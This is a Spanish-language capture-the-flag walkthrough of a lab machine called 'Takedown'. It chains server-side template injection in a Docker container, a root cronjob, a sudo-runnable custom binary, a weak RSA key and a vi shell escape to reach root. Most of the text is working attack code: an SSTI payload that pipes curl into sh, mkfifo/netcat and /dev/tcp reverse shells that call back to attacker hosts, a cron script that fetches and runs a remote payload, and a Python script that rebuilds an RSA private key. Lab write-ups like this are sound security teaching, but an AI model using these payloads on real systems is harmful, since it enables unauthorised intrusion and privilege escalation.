
🧠 Informe de Pentesting – Takedown: Final Assault
Dirección IP objetivo: 192.168.1.164
Nivel estimado: Medio-Avanzado
Vector inicial: SSTI en contenedor Docker
Cadena de escaladas: Abuso de cronjob, binario personalizado con privilegios y clave RSA vulnerable
🎬 Introducción: Cazadores y Presas Digitales
En la era digital, las batallas no se libran con espadas, sino con scripts. Takedown no es solo el nombre de la máquina, sino el eco de una persecución legendaria. Inspirado en la historia real del hacker Kevin Mitnick, este reto recrea el conflicto entre atacantes ingeniosos y defensores sobrepasados. Tú eres el protagonista, y la red, tu tablero de guerra.
🔍 Enumeración Inicial
Se realiza un escaneo con nmap:
nmap -sSCV --min-rate 5000 -vvv -n -Pn -O -A 192.168.1.164 -oA targetedPuertos detectados:
22/tcp open ssh
80/tcp open httpDescubrimiento de Virtual Hosting
Al acceder al sitio en el puerto 80 y analizar los encabezados HTTP, se detecta virtual hosting. Se identifican los siguientes dominios:
- shieldweb.che
- ticket.shieldweb.che
Se añaden al archivo /etc/hosts:
echo "192.168.1.164 shieldweb.che ticket.shieldweb.che" >> /etc/hosts🐳 Compromiso Inicial (SSTI en Docker)
En ticket.shieldweb.che, se encuentra un formulario vulnerable a Server-Side Template Injection (SSTI). Prueba de concepto:
{{ 7 * 7 + 7 }} → 56Reverse Shell vía curl y servidor Python
Aprovechamos la SSTI para ejecutar comandos remotos utilizando curl. Configuramos un servidor HTTP en el equipo atacante para servir un archivo index.html con un comando de reverse shell.
Archivo index.html(servido desde 192.168.1.157:8080):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.157 4444 > /tmp/fComando para iniciar servidor en el atacante:
python3 -m http.server 8080Payload SSTI para ejecutar curl en el contenedor:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 192.168.1.157:8080 | sh').read() }}Escuchamos con netcat:
nc -lvnp 4444Obtenemos una shell desde el contenedor.
🛠 Tratamiento de TTY
Estabilizamos la shell con los siguientes comandos:
python3 -c 'import pty; pty.spawn("/bin/sh")'
# Presionar Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm
export SHELL=/bin/sh
# Ver dimensiones de la consola
stty size
# Ajustar dimensiones si es necesario
stty rows <ROWS> columns <COLUMNS>🔄 Infiltración Cronada
En /var/log, se detecta un cronjob que ejecuta scripts cada 5 minutos:
2023-08-31 22:45:00 - Usuario: A.love - Acción: Tarea cron ejecutada: */5 * * * root bash /home/love/script/Creamos un script test.sh en /script/:
echo 'curl http://192.168.1.155:8080 | sh' > /script/test.sh
chmod +x /script/test.shPayload servido desde 192.168.1.155:8080:
bash -i >& /dev/tcp/192.168.1.155/4444 0>&1Escuchamos con netcat:
nc -lvnp 4444Obtenemos una shell como el usuario love.
🕵️ Interceptando a Mitnick – Escalada a través del binario sas
El usuario love tiene permisos para ejecutar el binario /home/mitnick/sas como mitnick:
sudo -u mitnick /home/mitnick/sas
Simulación de servicios:
- Police: "We need to arrest the hacker, the Condor, Kevin Mitnick."
- FBI: "Detention at Love’s house, tomorrow at 9:00 a.m."
- Traffic: "All green lights. Goes well for escape."
El binario permite ejecutar scripts. Creamos un script malicioso:
echo '#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.1.245/4343 0>&1"' > test.sh
chmod +x test.shEjecutamos desde sas:
# run test.shEscuchamos en el puerto 4343:
nc -lvnp 4343Obtenemos una shell como mitnick.
🔐 Criptoquiebre a la Japonesa – Escalada a tomu (RSA vulnerable)
En el directorio de mitnick, encontramos:
- secret.enc (archivo cifrado)
- publickey.pub (clave pública RSA)
Transferimos los archivos al equipo local:
# En la máquina comprometida
python3 -m http.server# En el equipo atacante
wget http://192.168.1.164:8000/secret.enc
wget http://192.168.1.164:8000/publickey.pubAnalizamos la clave pública y descubrimos que los primos utilizados p, q) son demasiado pequeños, lo que permite factorizar n fácilmente.
Nota: Herramientas como [FactorDB](https://factordb.com/) pueden usarse para factorizar claves RSA.
Generamos la clave privada:
from Crypto.PublicKey import RSA
f = open("publickey.pub", "r")
key = RSA.importKey(f.read())
n = key.n
e = key.e
p = 35879
q = 63443
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
m = n - (p + q - 1)
d = modinv(e, m)
key = RSA.construct((n, e, d, p, q))
with open("id_rsa", "w") as f:
f.write(key.exportKey().decode())Desciframos el archivo:
openssl rsautl -decrypt -inkey id_rsa -in secret.encObtenemos la contraseña del usuario tomu.
🎯 Root: El Último Objetivo
Iniciamos sesión como tomu:
ssh tomu@192.168.1.164Verificamos privilegios con sudo:
sudo -lResultado:
User tomu may run the following commands on takedown:
(ALL) NOPASSWD: /usr/bin/ContemptEjecutamos el binario Contempt:
sudo /usr/bin/ContemptEl binario solicita una contraseña (reutilizamos la de tomu). En el apartado de ayuda, ejecuta vi. Escapamos a una shell de root:
:!bashShell root obtenida.
Flag de Root
Ejecutamos:
sh /root/root.sh📚 Herramientas Utilizadas
- nmap
- netcat
- openssl
- python3
- docker
- bash
- Crypto.PublicKey (PyCryptodome)
🧠 Lecciones y Recomendaciones
Como Pentester:
- Siempre explora virtual hosts.
- SSTI en contenedores puede ser devastadora.
- Evalúa la seguridad de forma encadenada.
- No subestimes claves RSA mal generadas.
Como Blue Team:
- Aísla correctamente los contenedores.
- No ejecutes código remoto sin validación.
- Evita NOPASSWD en binarios peligrosos.
- No permitas shells interactivas en sudo.
Autor: Aquilino (alias h1dr0)
Y mientras la máquina se reinicia en silencio... una nueva flag espera al próximo intrépido que ose entrar al mundo digital de la caza.